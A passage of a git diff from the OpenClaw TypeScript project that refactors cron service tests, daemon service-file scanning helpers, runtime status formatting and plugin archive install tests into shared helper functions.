store.storePath, - cronEnabled: true, - log: noopLogger, enqueueSystemEvent, requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), }); await cron.start(); diff --git a/src/cron/service.runs-one-shot-main-job-disables-it.test.ts b/src/cron/service.runs-one-shot-main-job-disables-it.test.ts index 912ea9d1a00..6fa4c0fa62b 100644 --- a/src/cron/service.runs-one-shot-main-job-disables-it.test.ts +++ b/src/cron/service.runs-one-shot-main-job-disables-it.test.ts @@ -238,25 +238,84 @@ function createCronEventHarness() { return { onEvent, waitFor, events }; } +async function createMainOneShotHarness() { + ensureDir(fixturesRoot); + const store = await makeStorePath(); + const enqueueSystemEvent = vi.fn(); + const requestHeartbeatNow = vi.fn(); + const events = createCronEventHarness(); + + const cron = new CronService({ + storePath: store.storePath, + cronEnabled: true, + log: noopLogger, + enqueueSystemEvent, + requestHeartbeatNow, + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + onEvent: events.onEvent, + }); + await cron.start(); + return { store, cron, enqueueSystemEvent, requestHeartbeatNow, events }; +} + +async function createIsolatedAnnounceHarness(runIsolatedAgentJob: ReturnType) { + ensureDir(fixturesRoot); + const store = await makeStorePath(); + const enqueueSystemEvent = vi.fn(); + const requestHeartbeatNow = vi.fn(); + const events = createCronEventHarness(); + + const cron = new CronService({ + storePath: store.storePath, + cronEnabled: true, + log: noopLogger, + enqueueSystemEvent, + requestHeartbeatNow, + runIsolatedAgentJob, + onEvent: events.onEvent, + }); + + await cron.start(); + return { store, cron, enqueueSystemEvent, requestHeartbeatNow, events }; +} + +async function addDefaultIsolatedAnnounceJob(cron: CronService, name: string) { + const runAt = new Date("2025-12-13T00:00:01.000Z"); + const job = await cron.add({ + enabled: true, + name, + schedule: { kind: "at", at: runAt.toISOString() }, + sessionTarget: "isolated", + wakeMode: "now", + payload: { kind: "agentTurn", message: "do it" }, + delivery: { mode: "announce" }, + }); + return { job, runAt }; +} + +async function loadLegacyDeliveryMigration(rawJob: Record) { + ensureDir(fixturesRoot); + const store = await makeStorePath(); + writeStoreFile(store.storePath, { version: 1, jobs: [rawJob] }); + + const cron = new CronService({ + storePath: store.storePath, + cronEnabled: true, + log: noopLogger, + enqueueSystemEvent: vi.fn(), + requestHeartbeatNow: vi.fn(), + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + }); + await cron.start(); + const jobs = await cron.list({ includeDisabled: true }); + const job = jobs.find((j) => j.id === rawJob.id); + return { store, cron, job }; +} + describe("CronService", () => { it("runs a one-shot main job and disables it after success when requested", async () => { - ensureDir(fixturesRoot); - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const events = createCronEventHarness(); - - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - onEvent: events.onEvent, - }); - - await cron.start(); + const { store, cron, enqueueSystemEvent, requestHeartbeatNow, events } = + await createMainOneShotHarness(); const atMs = Date.parse("2025-12-13T00:00:02.000Z"); const job = await cron.add({ name: "one-shot hello", @@ -289,23 +348,8 @@ describe("CronService", () => { }); it("runs a one-shot job and deletes it after success by default", async () => { - ensureDir(fixturesRoot); - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const events = createCronEventHarness(); - - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - onEvent: events.onEvent, - }); - - await cron.start(); + const { store, cron, enqueueSystemEvent, requestHeartbeatNow, events } = + await createMainOneShotHarness(); const atMs = Date.parse("2025-12-13T00:00:02.000Z"); const job = await cron.add({ name: "one-shot delete", @@ -502,39 +546,12 @@ describe("CronService", () => { }); it("runs an isolated job and posts summary to main", async () => { - ensureDir(fixturesRoot); - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const runIsolatedAgentJob = vi.fn(async () => ({ - status: "ok" as const, - summary: "done", - })); - const events = createCronEventHarness(); + const runIsolatedAgentJob = vi.fn(async () => ({ status: "ok" as const, summary: "done" })); + const { store, cron, enqueueSystemEvent, requestHeartbeatNow, events } = + await createIsolatedAnnounceHarness(runIsolatedAgentJob); + const { job, runAt } = await addDefaultIsolatedAnnounceJob(cron, "weekly"); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob, - onEvent: events.onEvent, - }); - - await cron.start(); - const atMs = Date.parse("2025-12-13T00:00:01.000Z"); - const job = await cron.add({ - enabled: true, - name: "weekly", - schedule: { kind: "at", at: new Date(atMs).toISOString() }, - sessionTarget: "isolated", - wakeMode: "now", - payload: { kind: "agentTurn", message: "do it" }, - delivery: { mode: "announce" }, - }); - - vi.setSystemTime(new Date("2025-12-13T00:00:01.000Z")); + vi.setSystemTime(runAt); await vi.runOnlyPendingTimersAsync(); await events.waitFor( @@ -551,40 +568,16 @@ describe("CronService", () => { }); it("does not post isolated summary to main when run already delivered output", async () => { - ensureDir(fixturesRoot); - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); const runIsolatedAgentJob = vi.fn(async () => ({ status: "ok" as const, summary: "done", delivered: true, })); - const events = createCronEventHarness(); + const { store, cron, enqueueSystemEvent, requestHeartbeatNow, events } = + await createIsolatedAnnounceHarness(runIsolatedAgentJob); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob, - onEvent: events.onEvent, - }); - - await cron.start(); - const atMs = Date.parse("2025-12-13T00:00:01.000Z"); - const job = await cron.add({ - enabled: true, - name: "weekly delivered", - schedule: { kind: "at", at: new Date(atMs).toISOString() }, - sessionTarget: "isolated", - wakeMode: "now", - payload: { kind: "agentTurn", message: "do it" }, - delivery: { mode: "announce" }, - }); - - vi.setSystemTime(new Date("2025-12-13T00:00:01.000Z")); + const { job, runAt } = await addDefaultIsolatedAnnounceJob(cron, "weekly delivered"); + vi.setSystemTime(runAt); await vi.runOnlyPendingTimersAsync(); await events.waitFor( @@ -598,11 +591,6 @@ describe("CronService", () => { }); it("migrates legacy payload.provider to payload.channel on load", async () => { - ensureDir(fixturesRoot); - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const rawJob = { id: "legacy-1", name: "legacy", @@ -621,21 +609,7 @@ describe("CronService", () => { }, state: {}, }; - - writeStoreFile(store.storePath, { version: 1, jobs: [rawJob] }); - - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - }); - - await cron.start(); - const jobs = await cron.list({ includeDisabled: true }); - const job = jobs.find((j) => j.id === rawJob.id); + const { store, cron, job } = await loadLegacyDeliveryMigration(rawJob); // Legacy delivery fields are migrated to the top-level delivery object const delivery = job?.delivery as unknown as Record; expect(delivery?.channel).toBe("telegram"); @@ -648,11 +622,6 @@ describe("CronService", () => { }); it("canonicalizes payload.channel casing on load", async () => { - ensureDir(fixturesRoot); - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); - const rawJob = { id: "legacy-2", name: "legacy", @@ -671,21 +640,7 @@ describe("CronService", () => { }, state: {}, }; - - writeStoreFile(store.storePath, { version: 1, jobs: [rawJob] }); - - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - }); - - await cron.start(); - const jobs = await cron.list({ includeDisabled: true }); - const job = jobs.find((j) => j.id === rawJob.id); + const { store, cron, job } = await loadLegacyDeliveryMigration(rawJob); // Legacy delivery fields are migrated to the top-level delivery object const delivery = job?.delivery as unknown as Record; expect(delivery?.channel).toBe("telegram"); @@ -695,40 +650,16 @@ describe("CronService", () => { }); it("posts last output to main even when isolated job errors", async () => { - ensureDir(fixturesRoot); - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); const runIsolatedAgentJob = vi.fn(async () => ({ status: "error" as const, summary: "last output", error: "boom", })); - const events = createCronEventHarness(); + const { store, cron, enqueueSystemEvent, requestHeartbeatNow, events } = + await createIsolatedAnnounceHarness(runIsolatedAgentJob); + const { job, runAt } = await addDefaultIsolatedAnnounceJob(cron, "isolated error test"); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob, - onEvent: events.onEvent, - }); - - await cron.start(); - const atMs = Date.parse("2025-12-13T00:00:01.000Z"); - const job = await cron.add({ - name: "isolated error test", - enabled: true, - schedule: { kind: "at", at: new Date(atMs).toISOString() }, - sessionTarget: "isolated", - wakeMode: "now", - payload: { kind: "agentTurn", message: "do it" }, - delivery: { mode: "announce" }, - }); - - vi.setSystemTime(new Date("2025-12-13T00:00:01.000Z")); + vi.setSystemTime(runAt); await vi.runOnlyPendingTimersAsync(); await events.waitFor( (evt) => evt.jobId === job.id && evt.action === "finished" && evt.status === "error", diff --git a/src/cron/service.skips-main-jobs-empty-systemevent-text.test.ts b/src/cron/service.skips-main-jobs-empty-systemevent-text.test.ts index 4bbc07afc8f..90ba40f92d7 100644 --- a/src/cron/service.skips-main-jobs-empty-systemevent-text.test.ts +++ b/src/cron/service.skips-main-jobs-empty-systemevent-text.test.ts @@ -1,26 +1,10 @@ -import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { CronJob } from "./types.js"; import { CronService } from "./service.js"; +import { createCronStoreHarness, createNoopLogger } from "./service.test-harness.js"; -const noopLogger = { - debug: vi.fn(), - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), -}; - -async function makeStorePath() { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-")); - return { - storePath: path.join(dir, "cron", "jobs.json"), - cleanup: async () => { - await fs.rm(dir, { recursive: true, force: true }); - }, - }; -} +const noopLogger = createNoopLogger(); +const { makeStorePath } = createCronStoreHarness(); async function waitForFirstJob( cron: CronService, @@ -38,6 +22,35 @@ async function waitForFirstJob( return latest; } +async function withCronService( + cronEnabled: boolean, + run: (params: { + cron: CronService; + enqueueSystemEvent: ReturnType; + requestHeartbeatNow: ReturnType; + }) => Promise, +) { + const store = await makeStorePath(); + const enqueueSystemEvent = vi.fn(); + const requestHeartbeatNow = vi.fn(); + const cron = new CronService({ + storePath: store.storePath, + cronEnabled, + log: noopLogger, + enqueueSystemEvent, + requestHeartbeatNow, + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + }); + + await cron.start(); + try { + await run({ cron, enqueueSystemEvent, requestHeartbeatNow }); + } finally { + cron.stop(); + await store.cleanup(); + } +} + describe("CronService", () => { beforeEach(() => { vi.useFakeTimers(); @@ -53,115 +66,70 @@ describe("CronService", () => { }); it("skips main jobs with empty systemEvent text", async () => { - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); + await withCronService(true, async ({ cron, enqueueSystemEvent, requestHeartbeatNow }) => { + const atMs = Date.parse("2025-12-13T00:00:01.000Z"); + await cron.add({ + name: "empty systemEvent test", + enabled: true, + schedule: { kind: "at", at: new Date(atMs).toISOString() }, + sessionTarget: "main", + wakeMode: "now", + payload: { kind: "systemEvent", text: " " }, + }); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + vi.setSystemTime(new Date("2025-12-13T00:00:01.000Z")); + await vi.runOnlyPendingTimersAsync(); + + expect(enqueueSystemEvent).not.toHaveBeenCalled(); + expect(requestHeartbeatNow).not.toHaveBeenCalled(); + + const job = await waitForFirstJob(cron, (current) => current?.state.lastStatus === "skipped"); + expect(job?.state.lastStatus).toBe("skipped"); + expect(job?.state.lastError).toMatch(/non-empty/i); }); - - await cron.start(); - const atMs = Date.parse("2025-12-13T00:00:01.000Z"); - await cron.add({ - name: "empty systemEvent test", - enabled: true, - schedule: { kind: "at", at: new Date(atMs).toISOString() }, - sessionTarget: "main", - wakeMode: "now", - payload: { kind: "systemEvent", text: " " }, - }); - - vi.setSystemTime(new Date("2025-12-13T00:00:01.000Z")); - await vi.runOnlyPendingTimersAsync(); - - expect(enqueueSystemEvent).not.toHaveBeenCalled(); - expect(requestHeartbeatNow).not.toHaveBeenCalled(); - - const job = await waitForFirstJob(cron, (current) => current?.state.lastStatus === "skipped"); - expect(job?.state.lastStatus).toBe("skipped"); - expect(job?.state.lastError).toMatch(/non-empty/i); - - cron.stop(); - await store.cleanup(); }); it("does not schedule timers when cron is disabled", async () => { - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); + await withCronService(false, async ({ cron, enqueueSystemEvent, requestHeartbeatNow }) => { + const atMs = Date.parse("2025-12-13T00:00:01.000Z"); + await cron.add({ + name: "disabled cron job", + enabled: true, + schedule: { kind: "at", at: new Date(atMs).toISOString() }, + sessionTarget: "main", + wakeMode: "now", + payload: { kind: "systemEvent", text: "hello" }, + }); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: false, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + const status = await cron.status(); + expect(status.enabled).toBe(false); + expect(status.nextWakeAtMs).toBeNull(); + + vi.setSystemTime(new Date("2025-12-13T00:00:01.000Z")); + await vi.runOnlyPendingTimersAsync(); + + expect(enqueueSystemEvent).not.toHaveBeenCalled(); + expect(requestHeartbeatNow).not.toHaveBeenCalled(); + expect(noopLogger.warn).toHaveBeenCalled(); }); - - await cron.start(); - const atMs = Date.parse("2025-12-13T00:00:01.000Z"); - await cron.add({ - name: "disabled cron job", - enabled: true, - schedule: { kind: "at", at: new Date(atMs).toISOString() }, - sessionTarget: "main", - wakeMode: "now", - payload: { kind: "systemEvent", text: "hello" }, - }); - - const status = await cron.status(); - expect(status.enabled).toBe(false); - expect(status.nextWakeAtMs).toBeNull(); - - vi.setSystemTime(new Date("2025-12-13T00:00:01.000Z")); - await vi.runOnlyPendingTimersAsync(); - - expect(enqueueSystemEvent).not.toHaveBeenCalled(); - expect(requestHeartbeatNow).not.toHaveBeenCalled(); - expect(noopLogger.warn).toHaveBeenCalled(); - - cron.stop(); - await store.cleanup(); }); it("status reports next wake when enabled", async () => { - const store = await makeStorePath(); - const enqueueSystemEvent = vi.fn(); - const requestHeartbeatNow = vi.fn(); + await withCronService(true, async ({ cron }) => { + const atMs = Date.parse("2025-12-13T00:00:05.000Z"); + await cron.add({ + name: "status next wake", + enabled: true, + schedule: { kind: "at", at: new Date(atMs).toISOString() }, + sessionTarget: "main", + wakeMode: "next-heartbeat", + payload: { kind: "systemEvent", text: "hello" }, + }); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent, - requestHeartbeatNow, - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + const status = await cron.status(); + expect(status.enabled).toBe(true); + expect(status.jobs).toBe(1); + expect(status.nextWakeAtMs).toBe(atMs); }); - - await cron.start(); - const atMs = Date.parse("2025-12-13T00:00:05.000Z"); - await cron.add({ - name: "status next wake", - enabled: true, - schedule: { kind: "at", at: new Date(atMs).toISOString() }, - sessionTarget: "main", - wakeMode: "next-heartbeat", - payload: { kind: "systemEvent", text: "hello" }, - }); - - const status = await cron.status(); - expect(status.enabled).toBe(true); - expect(status.jobs).toBe(1); - expect(status.nextWakeAtMs).toBe(atMs); - - cron.stop(); - await store.cleanup(); }); }); diff --git a/src/cron/service.store-migration.test.ts b/src/cron/service.store-migration.test.ts index ed3b25e6907..ddf9971f521 100644 --- a/src/cron/service.store-migration.test.ts +++ b/src/cron/service.store-migration.test.ts @@ -1,40 +1,21 @@ import fs from "node:fs/promises"; -import os from "node:os"; import path from "node:path"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import { CronService } from "./service.js"; +import { + createCronStoreHarness, + createNoopLogger, + installCronTestHooks, +} from "./service.test-harness.js"; -const noopLogger = { - debug: vi.fn(), - info: vi.fn(), - warn: vi.fn(), - error: vi.fn(), -}; - -async function makeStorePath() { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-cron-")); - return { - storePath: path.join(dir, "cron", "jobs.json"), - cleanup: async () => { - await fs.rm(dir, { recursive: true, force: true }); - }, - }; -} +const noopLogger = createNoopLogger(); +const { makeStorePath } = createCronStoreHarness({ prefix: "openclaw-cron-" }); +installCronTestHooks({ + logger: noopLogger, + baseTimeIso: "2026-02-06T17:00:00.000Z", +}); describe("CronService store migrations", () => { - beforeEach(() => { - vi.useFakeTimers(); - vi.setSystemTime(new Date("2026-02-06T17:00:00.000Z")); - noopLogger.debug.mockClear(); - noopLogger.info.mockClear(); - noopLogger.warn.mockClear(); - noopLogger.error.mockClear(); - }); - - afterEach(() => { - vi.useRealTimers(); - }); - it("migrates legacy top-level agentTurn fields and initializes missing state", async () => { const store = await makeStorePath(); await fs.mkdir(path.dirname(store.storePath), { recursive: true }); diff --git a/src/cron/service.store.migration.test.ts b/src/cron/service.store.migration.test.ts index 3054a634e52..9dab820d4e0 100644 --- a/src/cron/service.store.migration.test.ts +++ b/src/cron/service.store.migration.test.ts @@ -23,6 +23,23 @@ async function makeStorePath() { }; } +async function migrateAndLoadFirstJob(storePath: string): Promise> { + const cron = new CronService({ + storePath, + cronEnabled: true, + log: noopLogger, + enqueueSystemEvent: vi.fn(), + requestHeartbeatNow: vi.fn(), + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), + }); + + await cron.start(); + cron.stop(); + + const loaded = await loadCronStore(storePath); + return loaded.jobs[0] as Record; +} + describe("cron store migration", () => { beforeEach(() => { noopLogger.debug.mockClear(); @@ -64,20 +81,7 @@ describe("cron store migration", () => { await fs.mkdir(path.dirname(store.storePath), { recursive: true }); await fs.writeFile(store.storePath, JSON.stringify({ version: 1, jobs: [legacyJob] }, null, 2)); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent: vi.fn(), - requestHeartbeatNow: vi.fn(), - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - }); - - await cron.start(); - cron.stop(); - - const loaded = await loadCronStore(store.storePath); - const migrated = loaded.jobs[0] as Record; + const migrated = await migrateAndLoadFirstJob(store.storePath); expect(migrated.delivery).toEqual({ mode: "announce", channel: "telegram", @@ -123,20 +127,7 @@ describe("cron store migration", () => { await fs.mkdir(path.dirname(store.storePath), { recursive: true }); await fs.writeFile(store.storePath, JSON.stringify({ version: 1, jobs: [legacyJob] }, null, 2)); - const cron = new CronService({ - storePath: store.storePath, - cronEnabled: true, - log: noopLogger, - enqueueSystemEvent: vi.fn(), - requestHeartbeatNow: vi.fn(), - runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" })), - }); - - await cron.start(); - cron.stop(); - - const loaded = await loadCronStore(store.storePath); - const migrated = loaded.jobs[0] as Record; + const migrated = await migrateAndLoadFirstJob(store.storePath); const schedule = migrated.schedule as Record; expect(schedule.kind).toBe("every"); expect(schedule.anchorMs).toBe(createdAtMs); diff --git a/src/cron/service.test-harness.ts b/src/cron/service.test-harness.ts index 8fd8618a243..211620148b9 100644 --- a/src/cron/service.test-harness.ts +++ b/src/cron/service.test-harness.ts @@ -3,6 +3,8 @@ import os from "node:os"; import path from "node:path"; import { afterAll, afterEach, beforeAll, beforeEach, vi } from "vitest"; import type { MockFn } from "../test-utils/vitest-mock-fn.js"; +import type { CronEvent } from "./service.js"; +import { CronService } from "./service.js"; export type NoopLogger = { debug: MockFn; @@ -64,3 +66,43 @@ export function installCronTestHooks(options: { vi.useRealTimers(); }); } + +export function createFinishedBarrier() { + const resolvers = new Map void>(); + return { + waitForOk: (jobId: string) => + new Promise((resolve) => { + resolvers.set(jobId, resolve); + }), + onEvent: (evt: CronEvent) => { + if (evt.action !== "finished" || evt.status !== "ok") { + return; + } + const resolve = resolvers.get(evt.jobId); + if (!resolve) { + return; + } + resolvers.delete(evt.jobId); + resolve(evt); + }, + }; +} + +export function createStartedCronServiceWithFinishedBarrier(params: { + storePath: string; + logger: ReturnType; +}) { + const enqueueSystemEvent = vi.fn(); + const requestHeartbeatNow = vi.fn(); + const finished = createFinishedBarrier(); + const cron = new CronService({ + storePath: params.storePath, + cronEnabled: true, + log: params.logger, + enqueueSystemEvent, + requestHeartbeatNow, + runIsolatedAgentJob: vi.fn(async () => ({ status: "ok" as const })), + onEvent: finished.onEvent, + }); + return { cron, enqueueSystemEvent, requestHeartbeatNow, finished }; +} diff --git a/src/daemon/inspect.ts b/src/daemon/inspect.ts index d0153ce13b6..5cb6ea1cb3a 100644 --- a/src/daemon/inspect.ts +++ b/src/daemon/inspect.ts @@ -136,17 +136,28 @@ function isLegacyLabel(label: string): boolean { return lower.includes("clawdbot") || lower.includes("moltbot"); } +async function readDirEntries(dir: string): Promise { + try { + return await fs.readdir(dir); + } catch { + return []; + } +} + +async function readUtf8File(filePath: string): Promise { + try { + return await fs.readFile(filePath, "utf8"); + } catch { + return null; + } +} + async function scanLaunchdDir(params: { dir: string; scope: "user" | "system"; }): Promise { const results: ExtraGatewayService[] = []; - let entries: string[] = []; - try { - entries = await fs.readdir(params.dir); - } catch { - return results; - } + const entries = await readDirEntries(params.dir); for (const entry of entries) { if (!entry.endsWith(".plist")) { @@ -157,10 +168,8 @@ async function scanLaunchdDir(params: { continue; } const fullPath = path.join(params.dir, entry); - let contents = ""; - try { - contents = await fs.readFile(fullPath, "utf8"); - } catch { + const contents = await readUtf8File(fullPath); + if (contents === null) { continue; } const marker = detectMarker(contents); @@ -204,12 +213,7 @@ async function scanSystemdDir(params: { scope: "user" | "system"; }): Promise { const results: ExtraGatewayService[] = []; - let entries: string[] = []; - try { - entries = await fs.readdir(params.dir); - } catch { - return results; - } + const entries = await readDirEntries(params.dir); for (const entry of entries) { if (!entry.endsWith(".service")) { @@ -220,10 +224,8 @@ async function scanSystemdDir(params: { continue; } const fullPath = path.join(params.dir, entry); - let contents = ""; - try { - contents = await fs.readFile(fullPath, "utf8"); - } catch { + const contents = await readUtf8File(fullPath); + if (contents === null) { continue; } const marker = detectMarker(contents); diff --git a/src/daemon/runtime-format.ts b/src/daemon/runtime-format.ts index 043760b77f1..67155ab69bd 100644 --- a/src/daemon/runtime-format.ts +++ b/src/daemon/runtime-format.ts @@ -1,3 +1,5 @@ +import { formatRuntimeStatusWithDetails } from "../infra/runtime-status.ts"; + export type ServiceRuntimeLike = { status?: string; state?: string; @@ -14,14 +16,7 @@ export function formatRuntimeStatus(runtime: ServiceRuntimeLike | undefined): st if (!runtime) { return null; } - const status = runtime.status ?? "unknown"; const details: string[] = []; - if (runtime.pid) { - details.push(`pid ${runtime.pid}`); - } - if (runtime.state && runtime.state.toLowerCase() !== status) { - details.push(`state ${runtime.state}`); - } if (runtime.subState) { details.push(`sub ${runtime.subState}`); } @@ -40,5 +35,10 @@ export function formatRuntimeStatus(runtime: ServiceRuntimeLike | undefined): st if (runtime.detail) { details.push(runtime.detail); } - return details.length > 0 ? `${status} (${details.join(", ")})` : status; + return formatRuntimeStatusWithDetails({ + status: runtime.status, + pid: runtime.pid, + state: runtime.state, + details, + }); } diff --git a/src/plugins/install.e2e.test.ts b/src/plugins/install.e2e.test.ts index eb7e15ffd0b..ef894e0f11a 100644 --- a/src/plugins/install.e2e.test.ts +++ b/src/plugins/install.e2e.test.ts @@ -6,6 +6,7 @@ import path from "node:path"; import * as tar from "tar"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import * as skillScanner from "../security/skill-scanner.js"; +import { expectSingleNpmInstallIgnoreScriptsCall } from "../test-utils/exec-assertions.js"; vi.mock("../process/exec.js", () => ({ runCommandWithTimeout: vi.fn(), @@ -42,6 +43,111 @@ async function packToArchive({ return dest; } +function writePluginPackage(params: { + pkgDir: string; + name: string; + version: string; + extensions: string[]; +}) { + fs.mkdirSync(path.join(params.pkgDir, "dist"), { recursive: true }); + fs.writeFileSync( + path.join(params.pkgDir, "package.json"), + JSON.stringify( + { + name: params.name, + version: params.version, + openclaw: { extensions: params.extensions }, + }, + null, + 2, + ), + "utf-8", + ); + fs.writeFileSync(path.join(params.pkgDir, "dist", "index.js"), "export {};", "utf-8"); +} + +async function createVoiceCallArchive(params: { + workDir: string; + outName: string; + version: string; +}) { + const pkgDir = path.join(params.workDir, "package"); + writePluginPackage({ + pkgDir, + name: "@openclaw/voice-call", + version: params.version, + extensions: ["./dist/index.js"], + }); + const archivePath = await packToArchive({ + pkgDir, + outDir: params.workDir, + outName: params.outName, + }); + return { pkgDir, archivePath }; +} + +function setupPluginInstallDirs() { + const tmpDir = makeTempDir(); + const pluginDir = path.join(tmpDir, "plugin-src"); + const extensionsDir = path.join(tmpDir, "extensions"); + fs.mkdirSync(pluginDir, { recursive: true }); + fs.mkdirSync(extensionsDir, { recursive: true }); + return { tmpDir, pluginDir, extensionsDir }; +} + +async function installFromDirWithWarnings(params: { pluginDir: string; extensionsDir: string }) { + const { installPluginFromDir } = await import("./install.js"); + const warnings: string[] = []; + const result = await installPluginFromDir({ + dirPath: params.pluginDir, + extensionsDir: params.extensionsDir, + logger: { + info: () => {}, + warn: (msg: string) => warnings.push(msg), + }, + }); + return { result, warnings }; +} + +async function expectArchiveInstallReservedSegmentRejection(params: { + packageName: string; + outName: string; +}) { + const stateDir = makeTempDir(); + const workDir = makeTempDir(); + const pkgDir = path.join(workDir, "package"); + fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true }); + fs.writeFileSync( + path.join(pkgDir, "package.json"), + JSON.stringify({ + name: params.packageName, + version: "0.0.1", + openclaw: { extensions: ["./dist/index.js"] }, + }), + "utf-8", + ); + fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8"); + + const archivePath = await packToArchive({ + pkgDir, + outDir: workDir, + outName: params.outName, + }); + + const extensionsDir = path.join(stateDir, "extensions"); + const { installPluginFromArchive } = await import("./install.js"); + const result = await installPluginFromArchive({ + archivePath, + extensionsDir, + }); + + expect(result.ok).toBe(false); + if (result.ok) { + return; + } + expect(result.error).toContain("reserved path segment"); +} + afterEach(() => { for (const dir of tempDirs.splice(0)) { try { @@ -60,23 +166,10 @@ describe("installPluginFromArchive", () => { it("installs into ~/.openclaw/extensions and uses unscoped id", async () => { const stateDir = makeTempDir(); const workDir = makeTempDir(); - const pkgDir = path.join(workDir, "package"); - fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(pkgDir, "package.json"), - JSON.stringify({ - name: "@openclaw/voice-call", - version: "0.0.1", - openclaw: { extensions: ["./dist/index.js"] }, - }), - "utf-8", - ); - fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8"); - - const archivePath = await packToArchive({ - pkgDir, - outDir: workDir, + const { archivePath } = await createVoiceCallArchive({ + workDir, outName: "plugin.tgz", + version: "0.0.1", }); const extensionsDir = path.join(stateDir, "extensions"); @@ -98,23 +191,10 @@ describe("installPluginFromArchive", () => { it("rejects installing when plugin already exists", async () => { const stateDir = makeTempDir(); const workDir = makeTempDir(); - const pkgDir = path.join(workDir, "package"); - fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(pkgDir, "package.json"), - JSON.stringify({ - name: "@openclaw/voice-call", - version: "0.0.1", - openclaw: { extensions: ["./dist/index.js"] }, - }), - "utf-8", - ); - fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8"); - - const archivePath = await packToArchive({ - pkgDir, - outDir: workDir, + const { archivePath } = await createVoiceCallArchive({ + workDir, outName: "plugin.tgz", + version: "0.0.1", }); const extensionsDir = path.join(stateDir, "extensions"); @@ -174,41 +254,16 @@ describe("installPluginFromArchive", () => { it("allows updates when mode is update", async () => { const stateDir = makeTempDir(); const workDir = makeTempDir(); - const pkgDir = path.join(workDir, "package"); - fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(pkgDir, "package.json"), - JSON.stringify({ - name: "@openclaw/voice-call", - version: "0.0.1", - openclaw: { extensions: ["./dist/index.js"] }, - }), - "utf-8", - ); - fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8"); - - const archiveV1 = await packToArchive({ - pkgDir, - outDir: workDir, + const { archivePath: archiveV1 } = await createVoiceCallArchive({ + workDir, outName: "plugin-v1.tgz", + version: "0.0.1", + }); + const { archivePath: archiveV2 } = await createVoiceCallArchive({ + workDir, + outName: "plugin-v2.tgz", + version: "0.0.2", }); - - const archiveV2 = await (async () => { - fs.writeFileSync( - path.join(pkgDir, "package.json"), - JSON.stringify({ - name: "@openclaw/voice-call", - version: "0.0.2", - openclaw: { extensions: ["./dist/index.js"] }, - }), - "utf-8", - ); - return await packToArchive({ - pkgDir, - outDir: workDir, - outName: "plugin-v2.tgz", - }); - })(); const extensionsDir = path.join(stateDir, "extensions"); const { installPluginFromArchive } = await import("./install.js"); @@ -234,75 +289,17 